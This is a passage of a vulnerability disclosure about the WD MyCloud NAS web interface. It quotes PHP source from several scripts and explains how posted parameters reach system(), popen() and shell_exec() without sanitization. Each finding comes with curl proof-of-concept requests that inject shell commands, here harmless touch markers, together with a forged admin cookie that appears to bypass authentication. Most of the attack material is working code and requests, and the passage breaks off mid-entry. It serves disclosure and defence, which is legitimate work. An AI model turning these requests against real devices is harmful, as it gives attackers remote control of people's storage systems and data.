14 if (isset($_POST['username']) && $_POST['username'] != "")
15 {
16 $username = $_POST['username'];
17 $oldName = $_POST['oldName'];
18 $ip = $_SERVER['REMOTE_ADDR'];
19
20 if (isset($_SESSION['username']))
21 {
22 $sname = $_SESSION['username'];
23 $debugCmd="echo old:$sname >/tmp/debug";
24 exec($debugCmd, $ret);
25
26 unset($_SESSION['username']);
27 $_SESSION['username'] = $username;
28
29 $sname = $_SESSION['username'];
30 $debugCmd="echo new:$sname >>/tmp/debug";
31 exec($debugCmd, $ret);
32
33 session_write_close();
34
35 //echo $_SESSION['username'];
36 }
37 else
38 {
39 $debugCmd="echo 'no session' >>/tmp/debug";
40 exec($debugCmd, $ret);
41 }
42
43 //wto delete
44 $cmd = "wto -n \"$oldName\" -d ";
45 system($cmd,$retval);
46
47 //wto add
48 $cmd = "wto -n \"$username\" -i \"$ip\" -s";
49 system($cmd,$retval);
The above path has two different command injection bugs within it, one through the use of the "username" post value and the other through the "oldName" post value.
On line 17, the "oldName" post value is moved into the "$oldname" local variable. On line 44, "$oldname" is put into the "$cmd" variable as an argument for the "wto" binary without any sanitization. Finally on line 45, a PHP "system()" call is made using the $cmd variable which results in command execution.
Similarly, in line 16, the "username" post value is moved into the "$username" local variable. On line 48, "$username" is put into the "$cmd" variable as an argument for the "wto" binary without any sanitization. Finally, on line 49, a "system()" call is made using the "$cmd" variable which results in code execution.
POC
curl -i "http://<IP>/web/php/modUserName.php" --data "username=%24(touch%20/tmp/a26)&oldName=a" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/php/chk_vv_sharename.php
A remote command execution vulnerability exists in the "php/chk_vv_sharename.php" script within the MyCloud web interface.
Remote Command Execution
The "php/chk_vv_sharename.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code shows the vulnerability.
php/chk_vv_sharename.php
17 $vv_sharename = $_GET['vv_sharename'];
18
19 if(empty($_GET["vv_sharename"]))
20 {
21 echo 'Parameter vv_sharename is missing.';
22 return;
23 }
24
25 $cmd = "vvctl --check_share_name -s \"$vv_sharename\" >/dev/null";
26 system($cmd);
On line 17 of the code above, the "vv_sharename" get variable is moved into the "$vv_sharename" local variable. Then, on line 19, a check is done on the get "vv_sharename" variable to verify it is not empty. If the value is empty the script returns with an error. Otherwise, "$vv_sharename" is stored in the "$cmd" variable as an argument to the "vvctl" binary. The "$cmd" variable is then executed on line 26, through the PHP "system()" call.
POC
curl -i "http://<IP>/web/php/chk_vv_sharename.php?vv_sharename=%24(touch%20/tmp/a27)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/google_analytics.php
A remote command execution bug exists in the "google_analytics.php" script within the MyCloud web interface.
Remote Command Execution
The "google_analytics.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code shows the vulnerability.
google_analytics.php
14 $action = $_POST['cmd'];
15 if ($action == "") $action = $_GET['cmd'];
16
17 $r = new stdClass();
18 switch ($action)
19 {
20 case "set":
21 {
22 $opt = $_POST['opt'];
23 $arg = $_POST['arg'];
24 $run_cmd = sprintf("ganalytics --%s %s > /dev/null &", $opt, ($arg != "") ? $arg : "");
25
26 system($run_cmd);
In the above, the posted "cmd" value is put into the local variable "$action", this value is used to control the path of the code. If the "$cmd" variable is set to "set", the code on lines 22-26 is used. On line 22, the post variable "opt" is stored into the local variable "$opt". The same is done on line 23 for the posted variable "arg" with the local variable "$arg". Following both assignments, the code on line 24 adds the values from "$opt" and "$arg" as arguments to the "ganalytics" binary and stores the string within the "$run_cmd" variable. Finally, the variable is passed as the first argument to the PHP "system()" call, and is then executed.
POC
curl -i "http://<IP>/web/google_analytics.php" --data "cmd=set&opt=%24(touch%20/tmp/a28)&arg=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/google_analytics.php" --data "cmd=set&opt=&arg=%24(touch%20/tmp/a29)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/dsdk/DsdkProxy.php
A remote command execution vulnerability exists in the "dsdk/DsdkProxy.php" script within the MyCloud web interface.
Remote Command Execution
The "dsdk/DsdkProxy.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands. The following code shows the vulnerability.
dsdk/DsdkProxy.php
12 $postOrPutRequest = ($_SERVER['REQUEST_METHOD'] == 'POST' || $_SERVER['REQUEST_METHOD'] == 'PUT');
13
14 $curlCommand = 'sudo curl -i -s --unix-socket "/var/run/wdappmgr.sock" -X ';
15 $curlCommand .= $_SERVER['REQUEST_METHOD'];
16 $curlCommand .= ' ';
17
18 if ($postOrPutRequest) {
19 $curlCommand .= ' -d ';
20 $curlCommand .= '\'';
21 $curlCommand .= file_get_contents('php://input');
22 $curlCommand .= '\'';
23 }
24
25 $curlCommand .= ' ';
26 $curlCommand .= 'http://localhost/';
27 $curlCommand .= $endpoint;
28
29 if (!$postOrPutRequest && $_SERVER['QUERY_STRING'] != null) {
30 $curlCommand .= '?';
31 $curlCommand .= $_SERVER['QUERY_STRING'];
32 }
33 $curlCommand .= ' 2>&1';
34
35 $output = shell_exec($curlCommand);
In the above code, on line 12, a Boolean value is stored within the "$postOrPutRequest" variable. Following this, the script begins to create a string ("$curlCommand") with the contents of a "curl" command that will be used later (Ln 14). On line 18, the Boolean value within "$postOrPutRequest" is used to determine if the contents of the php://input is appended to the CURL command. This is where our command injection comes into play, the contents of "php://input" are not sanitized and are stored directly in the CURL command within "$curlCommand". After a few more modifications (but no sanitization), the contents of "$curlCommand" are executed through a call to shell_exec() (Ln 35).
POC
curl -i "http://<IP>/web/dsdk/DsdkProxy.php" --data "';touch /tmp/a30;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/backups/usb_backup.php
The "backups/usb_backup.php" file contains multiple paths which lead to remote command execution. The following code shows the vulnerability.
Remote Command Execution
A remote command execution bug exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "go_restore".
backups/usb_backup.php
...
109 function stop_job($taskname)
110 {
111 //Stop job
112 $cmd = sprintf("usb_backup -a '%s' -c jobstop", $taskname);
113 pclose(popen($cmd, 'r'));
114 sleep(2);
115
116 $pname = sprintf("/tmp/r_%s!_usb", $taskname);
117 file_put_contents($pname, "-10"); //Cancel
118 }
...
...
242 case "go_restore":
243 {
244 $taskname = $_POST['taskname'];
245 $restore_source = $_POST['restore_source'];
246
247 stop_job($taskname);
248
249 $pname = sprintf("/tmp/r_%s!_usb", $taskname);
250 file_put_contents($pname, "0"); //Cancel
251
252 $list_xml_file = sprintf("/tmp/r_usb!_restore_imcremental_%s.xml", $taskname);
253 if ($restore_source == "")//Sync and Copy
254 $cmd = sprintf("usb_backup -a '%s' -o '%s' -c jobrs &", $taskname, $list_xml_file);
255 else
256 $cmd = sprintf("usb_backup -a '%s' -o '%s' -F %s -c jobrs &", $taskname, $list_xml_file, $_POST['restore_source']);
257 pclose(popen($cmd, 'r'));
In the above code, there are multiple places where a command injection vulnerability can be exploited. The first being the call to stop_job on line 247 with the posted variable "taskname". The "$taskname" variable is passed to the stop_job function and is stored in the proper syntax within the $cmd variable as an argument to the "usb_backup" binary (Ln. 112). Then, on line 113, the $cmd variable is executed through the use of a PHP "popen()" call.
Then, on line 256, the posted variable "restore_source" is stored in the $cmd variable as an argument for the "usb_backup" binary. Then, the variable is used on line 257 through the PHP "popen()" call.
POC
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=go_restore&taskname=';touch%20/tmp/a31;'&restore_source=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=go_restore&taskname=&restore_source=%24(touch%20/tmp/a32)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution bug exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "stop_jobs".
backups/usb_backup.php
231 case "stop_jobs":
232 {
233 $taskname = $_POST['taskname'];
234 stop_job($taskname);
235
236 $r = get_list();
237 $r->success = true;
238 echo json_encode($r);
239 }
240 break;
The above code contains a bug identical to the bug mentioned before it, in that through a separate path (using the "stops_jobs" action) the "taskname" posted variable is passed to the stop_job() method. This puts the value of the variable as an argument for the "usb_backup" binary.
POC
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=stop_jobs&taskname=';touch%20/tmp/a33;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution bug exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "del".
backups/usb_backup.php
196 case "del":
197 {
198 $taskname = $_POST['taskname'];
199
200 stop_job($taskname);
201
202 $cmd = sprintf("usb_backup -a '%s' -c jobdel", $taskname);
203 pclose(popen($cmd, 'r'));
204
205 $pname = sprintf("/tmp/r_%s!_usb", $taskname);
206 @unlink($pname);
207
208 $r = get_list();
209 $r->success = true;
210 echo json_encode($r);
211 }
212 break;
The above code contains paths to two different command execution bugs, one involving the previously mentioned "stop_job()" method, which through the posted variable "taskname" is executed in a PHP "popen()" call and another involving the same variable "taskname" in a separate PHP "popen()" call. Because we've detailed the command execution bug within the "stop_job" method a few times above, we'll just skip straight to the popen() bug.
On line 202, the posted variable "taskname" is stored in the $cmd variable as an argument for the usb_backup binary. Then, on line 203, the $cmd variable is passed as an argument to the popen() method, which executes the command within the $cmd variable.
POC
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=del&taskname=';touch%20/tmp/a34;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "go_jobs".
backups/usb_backup.php
214 case "go_jobs":
215 {
216 $taskname = $_POST['taskname'];
217
218 $pname = sprintf("/tmp/r_%s!_usb", $taskname);
219 @unlink($pname);
220
221 $cmd = sprintf("usb_backup -a '%s' -c jobrun &", $taskname);
222 pclose(popen($cmd, 'r'));
223 sleep(2);
224
225 $r = get_list();
226 $r->success = true;
227 echo json_encode($r);
228 }
229 break;
In the above code, on line 216 the posted variable "taskname" is stored within the PHP "$taskname" variable. On line 221, the "$taskname" variable value is then stored within the "$cmd" variable in the syntax as an argument for the "usb_backup" binary. Then, on line 222, the "$cmd" variable is executed through the use of the PHP "popen()" function.
POC
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=go_jobs&taskname=';touch%20/tmp/a35;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the "usb_backup" functionality of the MyCloud web interface when the "action" variable is set to "modify".
backups/usb_backup.php
164 case "modify":
165 {
166 $taskname = $_POST['taskname'];
167 $category = $_POST['category']; //1:USB->NAS,2:NAS->USB
168 $source_dir = $_POST['source_dir'];
169 $dest_dir = $_POST['dest_dir'];
170 $backup_type = $_POST['backup_type'];
171 $auto_start = $_POST['auto_start'];
172 $old_taskname = $_POST['old_taskname'];
173
174 stop_job($taskname);
175
176 $cmd = sprintf("usb_backup -a '%s' -x '%s' -m %s -t %s -d %s -A %s -c jobedit",
177 $taskname, $old_taskname, $backup_type, $category, escapeshellarg(htmlstr_decode($dest_dir)), $auto_start);
178
179 foreach ($source_dir as $val)
180 $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val)));
181
182 pclose(popen($cmd, 'r'));
183
184 //Start job
185 $cmdS = sprintf("usb_backup -a '%s' -c jobrun &", $taskname);
186 pclose(popen($cmdS, 'r'));
187 sleep(2);
188
189 $r = get_list();
190 $r->cmd = $cmd;
191 $r->success = true;
192 echo json_encode($r);
193 }
194 break;
The above code is slightly unique compared to a majority of all of the other code segments on this page. This particular code contains some sanitization, in particular for the posted variable "dest_dir" (Ln. 177) and the posted array source_dir (Ln. 179-180). The other posted values however are not sanitized and are all used within a PHP "popen()" call without any sanitization, allowing for command injection. In particular the posted variables "taskname", "category", "backup_type", "autostart", and "old_taskname" are stored within the $cmd variable as arguments for the usb_backup binary (Ln. 176-177) and are then called through the use of a PHP "popen()" call on line 182.
The posted taskname variable is involved in two more PHP "exec" calls. The variable is used as an argument to the already mentioned vulnerable function "stop_job()" (Ln. 174) allowing for command injection, as well as in an argument for "usb_backup" binary (Ln. 185) which is then executed through a popen() call on line 186.
POC
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=';touch%20/tmp/a36;'&category=&source_dir=&dest_dir=&backup_type=&auto_start=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=&category=%24(touch%20/tmp/a37)&source_dir=&dest_dir=&backup_type=&auto_start=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=&category=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a38)&auto_start=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=&category=&source_dir=&dest_dir=&backup_type=&auto_start=%24(touch%20/tmp/a39)&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=&category=&source_dir=&dest_dir=&backup_type=&auto_start=&old_taskname=';touch%20/tmp/a40;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "create".
backups/usb_backup.php
132 case "create":
133 {
134 $taskname = $_POST['taskname'];
135 $category = $_POST['category']; //1:USB->NAS,2:NAS->USB
136 $source_dir = $_POST['source_dir'];
137 $dest_dir = $_POST['dest_dir'];
138 $backup_type = $_POST['backup_type'];
139 $auto_start = $_POST['auto_start'];
140
141 $cmd = sprintf("usb_backup -a '%s' -m %s -t %s -d %s -A %s -c jobadd",
142 $taskname, $backup_type, $category, escapeshellarg(htmlstr_decode($dest_dir)), $auto_start);
143
144 foreach ($source_dir as $val)
145 $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val)));
146
147 pclose(popen($cmd, 'r'));
148 $pname = sprintf("/tmp/r_usb!_%s", $taskname);
149 @unlink($pname);
150
151 stop_job($taskname);
152
153 //Start job
154 $cmd = sprintf("usb_backup -a '%s' -c jobrun &", $taskname);
155 pclose(popen($cmd, 'r'));
156 sleep(2);
157
158 $r = get_list();
159 $r->success = true;
160 echo json_encode($r);
161 }
162 break;
The above code is slightly unique compared to a majority of all of the other code segments on this page. This code contains some sanitization, in particular for the posted variable "dest_dir" (Ln. 142) and the posted array source_dir (Ln. 144-145). However the other posted values are not sanitized and are all used within a PHP "popen()" call without any sanitization allowing for command injection. In particular the posted variables "taskname", "category", "backup_type", and "autostart" are stored within the "$cmd" variable as arguments for the usb_backup binary (Ln. 141-142) and are then called through the use of a PHP "popen()" on line 147.
The posted taskname variable is involved in two more PHP "exec" calls. The variable is used as an argument to the already mentioned vulnerable function "stop_job()" (Ln. 151) allowing for command injection, as well as as an argument for "usb_backup" binary (Ln. 154) which is then executed through a popen() call on line 155.
POC
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=create&taskname=';touch%20/tmp/a41;'&category=&source_dir=&dest_dir=&backup_type=&auto_start=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=create&taskname=&category=%24(touch%20/tmp/a42)&source_dir=&dest_dir=&backup_type=&auto_start=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=create&taskname=&category=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a43)&auto_start=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=create&taskname=&category=&source_dir=&dest_dir=&backup_type=&auto_start=%24(touch%20/tmp/a44)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
backups/internal_backup.php
Remote Command Execution
A remote command execution bug exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "create".
backups/internal_backup.php
135 case "create":
136 {
137 $taskname = $_POST['taskname'];
138 $source_dir = $_POST['source_dir'];
139 $dest_dir = $_POST['dest_dir'];
140 $backup_type = $_POST['backup_type'];
141
142 $schedule = $_POST['schedule'];
143 $schedule_type = $_POST['backup_sch_type'];
144 $hour = $_POST['hour'];
145 $week = $_POST['week'];
146 $day = $_POST['day'];
147
148 $sch_command = "";
149 if ($schedule == "0")$sch_command = "0,1,1";
150 else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily
151 else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly
152 else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly
153
154 $cmd = sprintf("internal_backup -a \"%s\" -m %s -d %s -r %s -c jobadd",
155 $taskname, $backup_type, escapeshellarg(htmlstr_decode($dest_dir)), $sch_command);
156
157 foreach ($source_dir as $val)
158 $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val)));
159
160 $cmd .= " >/dev/null 2>&1";
161
162 /*
163 $file = '/tmp/cgi_internalbackup.txt';
164 // Open the file to get existing content
165 $current = file_get_contents($file);
166 // Append a new person to the file
167 $current .= $cmd;
168 // Write the contents back to the file
169 file_put_contents($file, $current);
170 */
171
172 system($cmd);
173 //pclose(popen($cmd, 'r'));
174 $pname = sprintf("/tmp/r_internal!_%s", $taskname);
175 //@unlink($pname);
176 system("rm ".$pname);
177
178 stop_job($taskname);
179
180 //Start job
181 $cmd = sprintf("(internal_backup -a '%s' -c jobrun >/dev/null 2>&1)&", $taskname);
182 system($cmd);
183 //pclose(popen($cmd, 'r'));
184 //sleep(2);
185
186 $r = get_list();
187 $r->success = true;
188 echo json_encode($r);
189 }
190 break;
The above code contains multiple different variables left unsanitized that can be used for command injection.
The code begins with the posted variables being stored into local variables (Ln. 137-146). Following, a set of conditionals are used to create a local variable "$sch_command" with the proper format for the "-r" argument for the "internal_backup" binary (Ln. 149-152). During this process, based on the value of the "$schedule" variable, the posted values for "hour", "week" and "day" are put into the the "$sch_command" variable. This variable is then used on lines 144-145 to create a command which executes the "internal_backup" binary along with some of the posted variables. The following variables created from posted values are added without any sanitization to the internal_backup command: "$backup_type", "$taskname", and "$sch_command". The "$dest_dir" variable is also added but is sanitized through the use of PHP's "escapeshellarg()" function. More values are added to the "$cmd" variable storing the "internal_backup" command on lines 157-160, but they are either sanitized or aren't user supplied. Finally, on line 172, the "$cmd" variable is executed through the use of a PHP "system()" function call.
Another path to command execution can be seen starting on line 174, on this line, a file name "/tmp/r_internal!_" has the value of the local variable "$taskname" appended to it and the result is stored in "$pname". This variable contains an un-sanitized value created from a posted user supplied variable. Then, on line 176, the "$pname" value is appended to an "rm" command and is executed through the use of a PHP "system()" call without sanitization. This allows for another command injection path through the use of "$taskname".
Yet another path to command execution can be seen starting on line 181. In this line the "$taskname" local variable (containing user supplied input) is inserted into a string in the "$cmd" variable containing the syntax for the "internal_backup" binary as its "-a" argument. Then, on line 182, the PHP "system()" function is called with the "$cmd" variable as its first argument, executing the command within. This is all done without any sanitization being done on "$taskname", which contains a user supplied input.
Finally, another path to command execution leveraging the "$taskname" variable can be seen starting on line 178. This line contains a call into the stop_job function with the taskname as its only argument. The code for the "stop_job()" call can be seen below.
backups/internal_backup.php
112 function stop_job($taskname)
113 {
114 //Stop job
115 $cmd = sprintf("internal_backup -a '%s' -c jobstop >/dev/null 2>&1", $taskname);
116 pclose(popen($cmd, 'r'));
117 sleep(2);
118
119 $pname = sprintf("/tmp/r_%s!_internal", $taskname);
120 file_put_contents($pname, "-10"); //Cancel
121 }
In the above function, we can see that the only argument to the function "$taskname" is put into the proper syntax for the "internal_backup" command for the "-a" argument (Ln. 115) and stored in the variable "$cmd". Then, on line 116, the "$cmd" local variable is passed to the PHP "popen()" function executing the command within. The above is all concluded without any sanitization done on the user supplied input.
POC
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=%24(touch%20/tmp/a45)&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=&hour=&week=&day=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a46)&schedule=&backup_sch_type=&hour=&week=&day=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=3&hour=%24(touch%20/tmp/a47)&week=&day=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=2&hour=&week=%24(touch%20/tmp/a48)&day=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=1&hour=&week=&day=%24(touch%20/tmp/a49)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "modify".
backups/internal_backup.php
192 case "modify":
193 {
194 $taskname = $_POST['taskname'];
195 $source_dir = $_POST['source_dir'];
196 $dest_dir = $_POST['dest_dir'];
197 $backup_type = $_POST['backup_type'];
198 $old_taskname = $_POST['old_taskname'];
199
200 $schedule = $_POST['schedule'];
201 $schedule_type = $_POST['backup_sch_type'];
202 $hour = $_POST['hour'];
203 $week = $_POST['week'];
204 $day = $_POST['day'];
205
206 $sch_command = "";
207 if ($schedule == "0")$sch_command = "0,1,1";
208 else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily
209 else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly
210 else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly
211
212 stop_job($taskname);
213
214 $cmd = sprintf("internal_backup -a \"%s\" -x \"%s\" -m %s -d %s -r %s -c jobedit",
215 $taskname, $old_taskname, $backup_type, escapeshellarg(htmlstr_decode($dest_dir)), $sch_command);
216 foreach ($source_dir as $val)
217 $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val)));
218
219 $cmd .= " >/dev/null 2>&1";
220 system($cmd);
221 //pclose(popen($cmd, 'r'));
222
223 //Start job
224 if ($schedule == "0")
225 {
226 $cmdS = sprintf("(internal_backup -a '%s' -c jobrun >/dev/null 2>&1)&", $taskname);
227 system($cmdS);
228 }
229
230 //pclose(popen($cmdS, 'r'));
231 //sleep(2);
232
233 $r = get_list();
234 $r->cmd = $cmd;
235 $r->success = true;
236 echo json_encode($r);
237 }
238 break;
The above code contains multiple different variables left unsanitized that can be used for command injection.
The code above begins with the posted variables being stored into local variables (Ln. 194-204). Following, a set of conditionals are used to create a local variable "$sch_command" with the proper format for the "-r" argument for the "internal_backup" binary (Ln. 206-210). During this process, based on the value of the "$schedule" variable, the posted values for "hour", "week" and "day" are put into the the "$sch_command" variable. This variable is then used on lines 214-215 to create a command which executes the "internal_backup" binary along with some of the posted variables. The following variables created from posted values are added without any sanitization to the internal_backup command: "$old_taskname", "$taskname", "backup_type", and "$sch_command". The "$dest_dir" variable is also added but, is sanitized through the use of PHP's "escapeshellarg()" function. More values are added to the "$cmd" variable storing the "internal_backup" command on lines 216-219, but they are either sanitized or aren't user supplied. Finally on line 220, the "$cmd" variable is executed through the use of a PHP "system()" function call.
Another path to command injection exists in an identical manner as the "create" path within the same PHP file. This involves the "stop_job" function along with the "$taskname" local variable (Ln. 212), more info on the vulnerability can be found above.
Finally, one last path to command injection can be found starting on line 226. Here, we have the "$taskname" variable, which contains user supplied data, inserted into the "$cmdS" variable with the syntax as an argument for the "internal_backup" binary without sanitization. Following, on line 227, the "$cmdS" command is executed through the use of a PHP "system()" call allowing for command injection.
POC
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a50)&hour=&week=&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=%24(touch%20/tmp/a51)&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=&hour=&week=&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a52)&schedule=&backup_sch_type=&hour=&week=&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=3&hour=%24(touch%20/tmp/a53)&week=&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=2&hour=&week=%24(touch%20/tmp/a54)&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=1&hour=&week=&day=%24(touch%20/tmp/a55)&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=1&hour=&week=&day=&old_taskname=%24(touch%20/tmp/a56)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution bug exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "del".
backups/internal_backup.php
240 case "del":
241 {
242 $taskname = $_POST['taskname'];
243
244 stop_job($taskname);
245
246 $cmd = sprintf("internal_backup -a '%s' -c jobdel >/dev/null 2>&1", $taskname);
247 system($cmd);
248 //pclose(popen($cmd, 'r'));
249
250 $pname = sprintf("/tmp/r_%s!_internal", $taskname);
251 @unlink($pname);
252
253 $r = get_list();
254 $r->success = true;
255 echo json_encode($r);
256 }
257 break;
In the above, we only have 1 posted value used, which is "taskname". On line 242, we can see that the posted variable is stored into a local variable "$taskname". Then, on line 246, this variable is used to craft a command stored in "$cmd" which executes the "internal_backup" binary with the local variable "$taskname" within the "-a" argument. Then, on line 247, the PHP "system()" function is called with "$cmd" as an argument, executing the command. This is all done without any sanitization on the user supplied value allowing for command injection.
In the above there is also a call to the "stop_job" function with the "$taskname" variable allowing for command injection in a path identical to the "create" and "modify" "stop_job" paths mentioned above.
POC
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=del&taskname=';touch%20/tmp/a57;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "go_jobs".
backups/internal_backup.php
259 case "go_jobs":
260 {
261 $taskname = $_POST['taskname'];
262
263 $pname = sprintf("/tmp/r_%s!_internal", $taskname);
264 @unlink($pname);
265
266 $cmd = sprintf("internal_backup -a '%s' -c jobrun &", $taskname);
267 pclose(popen($cmd, 'r'));
268 sleep(2);
269
270 $r = get_list();
271 $r->success = true;
272 echo json_encode($r);
273 }
274 break;
On line 261, the posted variable "taskname" is moved into the local variable "$taskname". Then, on line 266, the variable is put into a syntax to be used as the "-a" argument for the "internal_backup" command and is stored in "$cmd". Then, on line 267, PHP’s "popen()" is called with "$cmd" as an argument executing the command within. Because "$taskname" is used without any sanitization, this leads to a command injection vulnerability.
POC
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=go_jobs&taskname=';touch%20/tmp/a58;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "stop_jobs".
backups/internal_backup.php
276 case "stop_jobs":
277 {
278 $taskname = $_POST['taskname'];
279
280 stop_job($taskname);
281
282 $pname = sprintf("/tmp/r_%s!_internal", $taskname);
283 @unlink($pname);
284
285 $r = get_list();
286 $r->success = true;
287 echo json_encode($r);
288 }
289 break;
In the code above, a call to the "stop_job" function with the "$taskname" variable (Ln. 280) allows for command injection in a path identical to the "create", "modify", and "del" "stop_job()" paths mentioned above.
POC
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=stop_jobs&taskname=';touch%20/tmp/a59;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "go_restore".
backups/internal_backup.php
291 case "go_restore":
292 {
293 $taskname = $_POST['taskname'];
294 $restore_source = $_POST['restore_source'];
295
296 stop_job($taskname);
297
298 $pname = sprintf("/tmp/r_%s!_internal", $taskname);
299 file_put_contents($pname, "0"); //Cancel
300
301 $list_xml_file = sprintf("/tmp/r_internal!_restore_imcremental_%s.xml", $taskname);
302 if ($restore_source == "")//Sync and Copy
303 $cmd = sprintf("internal_backup -a '%s' -o '%s' -c jobrs &", $taskname, $list_xml_file);
304 else
305 $cmd = sprintf("internal_backup -a '%s' -o '%s' -F %s -c jobrs &", $taskname, $list_xml_file, $_POST['restore_source']);
306 pclose(popen($cmd, 'r'));
307 sleep(2);
308
309 $r = get_list();
310 $r->success = true;
311 echo json_encode($r);
312 }
313 break;
